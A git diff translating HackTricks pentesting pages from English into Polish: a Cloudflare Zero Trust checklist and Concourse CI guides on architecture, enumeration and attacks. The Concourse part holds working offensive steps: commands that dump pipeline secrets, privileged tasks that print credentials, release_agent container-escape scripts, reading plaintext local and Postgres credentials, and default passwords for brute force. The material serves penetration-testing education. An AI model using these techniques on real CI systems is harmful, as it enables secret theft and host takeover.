**`Settings`**: +- [ ] Sprawdź, czy **CORS nie jest włączony** (jeśli jest włączony, sprawdź, czy jest **bezpieczny** i nie pozwala na wszystko) +- [ ] Ciasteczka powinny mieć atrybut **Strict Same-Site**, **HTTP Only** i **binding cookie** powinien być **włączony**, jeśli aplikacja jest HTTP. +- [ ] Rozważ również włączenie **renderowania w przeglądarce** dla lepszej **ochrony. Więcej informacji o** [**izolacji przeglądarki zdalnej tutaj**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow. -- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**. - - Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary. +- [ ] Sprawdź, czy grupy dostępu są **prawidłowo ograniczone** do użytkowników, którym powinny zezwalać. +- [ ] Szczególnie ważne jest, aby sprawdzić, czy **domyślna grupa dostępu nie jest zbyt otwarta** (nie **pozwala zbyt wielu osobom**), ponieważ **domyślnie** każdy w tej **grupie** będzie mógł **uzyskać dostęp do aplikacji**. +- Zauważ, że możliwe jest nadanie **dostępu** do **WSZYSTKICH** i innych **bardzo otwartych polityk**, które nie są zalecane, chyba że są 100% konieczne. #### Service Auth -- [ ] Check that all service tokens **expires in 1 year or less** +- [ ] Sprawdź, czy wszystkie tokeny serwisowe **wygasają w ciągu 1 roku lub mniej** #### Tunnels @@ -50,16 +50,12 @@ TODO ### Logs -- [ ] You could search for **unexpected actions** from users +- [ ] Możesz szukać **nieoczekiwanych działań** ze strony użytkowników ### Settings -- [ ] Check the **plan type** -- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address** -- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service +- [ ] Sprawdź **typ planu** +- [ ] Możliwe jest zobaczenie **nazwy właściciela karty kredytowej**, **ostatnich 4 cyfr**, **daty ważności** i **adresu** +- [ ] Zaleca się **dodanie daty wygaśnięcia miejsca użytkownika**, aby usunąć użytkowników, którzy naprawdę nie korzystają z tej usługi {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index bcf20facf..296655765 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -2,36 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...) +Concourse pozwala na **budowanie pipeline'ów**, aby automatycznie uruchamiać testy, akcje i budować obrazy, kiedy tylko potrzebujesz (na podstawie czasu, gdy coś się wydarzy...) -## Concourse Architecture +## Architektura Concourse -Learn how the concourse environment is structured in: +Dowiedz się, jak zbudowane jest środowisko concourse w: {{#ref}} concourse-architecture.md {{#endref}} -## Concourse Lab +## Laboratorium Concourse -Learn how you can run a concourse environment locally to do your own tests in: +Dowiedz się, jak możesz uruchomić środowisko concourse lokalnie, aby przeprowadzić własne testy w: {{#ref}} concourse-lab-creation.md {{#endref}} -## Enumerate & Attack Concourse +## Enumeracja i atak na Concourse -Learn how you can enumerate the concourse environment and abuse it in: +Dowiedz się, jak możesz enumerować środowisko concourse i nadużywać go w: {{#ref}} concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index d70167906..150b7da4f 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,42 +1,38 @@ -# Concourse Architecture +# Architektura Concourse -## Concourse Architecture +## Architektura Concourse {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Istotne dane z dokumentacji Concourse:**](https://concourse-ci.org/internals.html) -### Architecture +### Architektura ![](<../../images/image (187).png>) -#### ATC: web UI & build scheduler +#### ATC: interfejs webowy i harmonogram budowy -The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs). +ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram** pipeline'ów. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy). -The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes. +Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny. -#### TSA: worker registration & forwarding +#### TSA: rejestracja pracowników i przekazywanie -The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc). -The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer. +TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest za równoważnikiem obciążenia. -The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa). +**TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa). -#### Workers +#### Pracownicy -In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim). +Aby wykonać zadania, Concourse musi mieć kilku pracowników. Ci pracownicy **rejestrują się** za pośrednictwem [TSA](https://concourse-ci.org/internals.html#component-tsa) i uruchamiają usługi [**Garden**](https://github.com/cloudfoundry-incubator/garden) i [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**. -- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**. +- **Garden**: To jest **API zarządzania kontenerami**, zazwyczaj uruchamiane na **porcie 7777** przez **HTTP**. +- **Baggageclaim**: To jest **API zarządzania wolumenami**, zazwyczaj uruchamiane na **porcie 7788** przez **HTTP**. -## References +## Odniesienia - [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 4b778a804..c08122a95 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -6,213 +6,202 @@ ### User Roles & Permissions -Concourse comes with five roles: +Concourse ma pięć ról: -- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC. -- **owner**: Team owners can **modify everything within the team**. -- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings. -- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations. -- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines. +- _Concourse_ **Admin**: Ta rola jest przyznawana tylko właścicielom **głównego zespołu** (domyślny początkowy zespół concourse). Administratorzy mogą **konfigurować inne zespoły** (np.: `fly set-team`, `fly destroy-team`...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC. +- **owner**: Właściciele zespołów mogą **modyfikować wszystko w zespole**. +- **member**: Członkowie zespołu mogą **czytać i pisać** w **zasobach zespołu**, ale nie mogą modyfikować ustawień zespołu. +- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje na pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline. +- **viewer**: Widzowie zespołu mają **dostęp "tylko do odczytu" do zespołu** i jego pipeline. > [!NOTE] -> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them. +Zauważ, że Concourse **grupuje pipeline w zespoły**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich. ### Vars & Credential Manager -In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\ -[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\ -The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\ -Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`. +W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\ +[Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\ +**Opcjonalne \_secret-field**\_ określa pole w pobranym sekrecie do odczytu. Jeśli zostanie pominięte, menedżer poświadczeń może zdecydować się na odczytanie 'domyślnego pola' z pobranych poświadczeń, jeśli pole istnieje.\ +Ponadto, _**secret-path**_ i _**secret-field**_ mogą być otoczone podwójnymi cudzysłowami `"..."`, jeśli **zawierają znaki specjalne** takie jak `.` i `:`. Na przykład, `((source:"my.secret"."field:1"))` ustawi _secret-path_ na `my.secret` i _secret-field_ na `field:1`. #### Static Vars -Static vars can be specified in **tasks steps**: - +Statyczne zmienne mogą być określone w **krokach zadań**: ```yaml - task: unit-1.13 - file: booklit/ci/unit.yml - vars: { tag: 1.13 } +file: booklit/ci/unit.yml +vars: { tag: 1.13 } ``` - Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +- `-v` or `--var` `NAME=VALUE` ustawia ciąg `VALUE` jako wartość dla zmiennej `NAME`. +- `-y` or `--yaml-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej `NAME`. +- `-i` or `--instance-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej instancji `NAME`. Zobacz [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), aby dowiedzieć się więcej o zmiennych instancji. +- `-l` or `--load-vars-from` `FILE` ładuje `FILE`, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie. -#### Credential Management +#### Zarządzanie poświadczeniami -There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Moreover, Concourse supports different credential managers: +Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ +Ponadto, Concourse obsługuje różne menedżery poświadczeń: -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) +- [Menadżer poświadczeń Vault](https://concourse-ci.org/vault-credential-manager.html) +- [Menadżer poświadczeń CredHub](https://concourse-ci.org/credhub-credential-manager.html) +- [Menadżer poświadczeń AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [Menadżer poświadczeń AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Menadżer poświadczeń Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) +- [Menadżer poświadczeń Conjur](https://concourse-ci.org/conjur-credential-manager.html) +- [Buforowanie poświadczeń](https://concourse-ci.org/creds-caching.html) +- [Redagowanie poświadczeń](https://concourse-ci.org/creds-redacting.html) +- [Ponawianie nieudanych pobrań](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] -> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them. +> Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu. -### Concourse Enumeration +### Enumeracja Concourse -In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file. +Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`. -#### Login and Current User enum +#### Logowanie i enumeracja bieżącego użytkownika -- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**: - - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Get configured **targets**: - - `fly targets` -- Get if the configured **target connection** is still **valid**: - - `fly -t status` -- Get **role** of the user against the indicated target: - - `fly -t userinfo` +- Aby się zalogować, musisz znać **punkt końcowy**, **nazwę zespołu** (domyślnie `main`) oraz **zespół, do którego należy użytkownik**: +- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` +- Uzyskaj skonfigurowane **cele**: +- `fly targets` +- Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**: +- `fly -t status` +- Uzyskaj **rolę** użytkownika w odniesieniu do wskazanego celu: +- `fly -t userinfo` > [!NOTE] -> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials. +> Zauważ, że **token API** jest **zapisywany** w `$HOME/.flyrc` domyślnie, przeszukując maszyny, możesz tam znaleźć poświadczenia. -#### Teams & Users +#### Zespoły i użytkownicy -- Get a list of the Teams - - `fly -t teams` -- Get roles inside team - - `fly -t get-team -n ` -- Get a list of users - - `fly -t active-users` +- Uzyskaj listę zespołów +- `fly -t teams` +- Uzyskaj role w zespole +- `fly -t get-team -n ` +- Uzyskaj listę użytkowników +- `fly -t active-users` -#### Pipelines - -- **List** pipelines: - - `fly -t pipelines -a` -- **Get** pipeline yaml (**sensitive information** might be found in the definition): - - `fly -t get-pipeline -p ` -- Get all pipeline **config declared vars** - - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them): +#### Potoki +- **Lista** potoków: +- `fly -t pipelines -a` +- **Uzyskaj** yaml potoku (**wrażliwe informacje** mogą być zawarte w definicji): +- `fly -t get-pipeline -p ` +- Uzyskaj wszystkie **zmienne konfiguracyjne zadeklarowane w potoku** +- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` +- Uzyskaj wszystkie **nazwy sekretów potoków używanych** (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wykradać): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do - echo $pipename; - fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; - echo ""; +echo $pipename; +fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt; +echo ""; done echo "" echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` +#### Kontenery i Pracownicy -#### Containers & Workers +- Lista **pracowników**: +- `fly -t workers` +- Lista **kontenerów**: +- `fly -t containers` +- Lista **budów** (aby zobaczyć, co jest uruchomione): +- `fly -t builds` -- List **workers**: - - `fly -t workers` -- List **containers**: - - `fly -t containers` -- List **builds** (to see what is running): - - `fly -t builds` +### Ataki Concourse -### Concourse Attacks - -#### Credentials Brute-Force +#### Bruteforce poświadczeń - admin:admin - test:test -#### Secrets and params enumeration +#### Enumeracja sekretów i parametrów -In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them. +W poprzedniej sekcji zobaczyliśmy, jak można **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**. -#### Session inside running or recently run container - -If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using: +#### Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera +Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**), będziesz mógł **wymienić pipeline'y i role** i po prostu uzyskać **sesję wewnątrz** kontenera `/` używając: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` +Z tymi uprawnieniami możesz być w stanie: -With these permissions you might be able to: +- **Kraść sekrety** wewnątrz **kontenera** +- Spróbować **uciec** do węzła +- Enumerować/Abusować punkt końcowy **metadanych chmury** (z podu i z węzła, jeśli to możliwe) -- **Steal the secrets** inside the **container** -- Try to **escape** to the node -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible) - -#### Pipeline Creation/Modification - -If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example: +#### Tworzenie/Modyfikacja Pipeline +Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline'y.** Sprawdź ten przykład: ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - echo "$SUPER_SECRET" - sleep 1000 - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +echo "$SUPER_SECRET" +sleep 1000 +params: +SUPER_SECRET: ((super.secret)) ``` +Z **modyfikacją/utworzeniem** nowego pipeline'u będziesz mógł: -With the **modification/creation** of a new pipeline you will be able to: +- **Kraść** **sekrety** (poprzez ich wyświetlanie lub dostanie się do kontenera i uruchomienie `env`) +- **Uciec** do **węzła** (dając ci wystarczające uprawnienia - `privileged: true`) +- Enumerować/wykorzystać punkt końcowy **metadanych chmury** (z poda i z węzła) +- **Usunąć** utworzony pipeline -- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) -- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) -- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) -- **Delete** created pipeline - -#### Execute Custom Task - -This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**): +#### Wykonaj niestandardowe zadanie +To jest podobne do poprzedniej metody, ale zamiast modyfikować/utworzyć cały nowy pipeline, możesz **po prostu wykonać niestandardowe zadanie** (co prawdopodobnie będzie znacznie bardziej **ukryte**): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux image_resource: - type: registry-image - source: - repository: ubuntu +type: registry-image +source: +repository: ubuntu run: - path: sh - args: - - -cx - - | - env - sleep 1000 +path: sh +args: +- -cx +- | +env +sleep 1000 params: - SUPER_SECRET: ((super.secret)) +SUPER_SECRET: ((super.secret)) ``` ```bash fly -t tutorial execute --privileged --config task_config.yml ``` +#### Ucieczka do węzła z zadania uprzywilejowanego -#### Escaping to the node from privileged task - -In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". - -In the following PoC we are going to use the release_agent to escape with some small modifications: +W poprzednich sekcjach zobaczyliśmy, jak **wykonać zadanie uprzywilejowane z concourse**. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana". +W następującym PoC użyjemy release_agent, aby uciec z pewnymi drobnymi modyfikacjami: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - > [!WARNING] -> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node +> Jak być może zauważyłeś, to jest po prostu [**zwykłe wyjście z release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) polegające na modyfikacji ścieżki cmd w węźle -#### Escaping to the node from a Worker container - -A regular release_agent escape with a minor modification is enough for this: +#### Ucieczka do węzła z kontenera Worker +Zwykłe wyjście z release_agent z drobną modyfikacją wystarczy do tego: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` +#### Ucieczka do węzła z kontenera Web -#### Escaping to the node from the Web container - -Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless). - -However, it stores **local credentials in clear text**: +Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne). +Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**: ```bash cat /concourse-auth/local-users test:test @@ -319,11 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` +Możesz użyć tych poświadczeń do **logowania się do serwera webowego** i **utworzenia uprzywilejowanego kontenera oraz ucieczki do węzła**. -You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**. - -In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info): - +W środowisku możesz również znaleźć informacje do **dostępu do instancji postgresql**, z której korzysta concourse (adres, **nazwa użytkownika**, **hasło** i baza danych, między innymi): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy. -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **czego potrzebuje do wykonania** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika. +- Serwer webowy **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden. +Pracownicy concourse działają z wysokimi uprawnieniami kontenera: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Jednak techniki takie jak **montowanie** urządzenia /dev w węźle lub release_agent **nie zadziałają** (ponieważ prawdziwe urządzenie z systemem plików węzła nie jest dostępne, tylko wirtualne). Nie możemy uzyskać dostępu do procesów węzła, więc ucieczka z węzła bez exploitów jądra staje się skomplikowana. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> W poprzedniej sekcji zobaczyliśmy, jak uciec z uprzywilejowanego kontenera, więc jeśli możemy **wykonywać** polecenia w **uprzywilejowanym kontenerze** utworzonym przez **aktualnego** **pracownika**, moglibyśmy **uciec do węzła**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Zauważ, że bawiąc się z concourse, zauważyłem, że gdy nowy kontener jest uruchamiany, aby coś wykonać, procesy kontenera są dostępne z kontenera pracownika, więc to tak, jakby kontener tworzył nowy kontener wewnątrz siebie. +**Dostanie się do działającego uprzywilejowanego kontenera** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 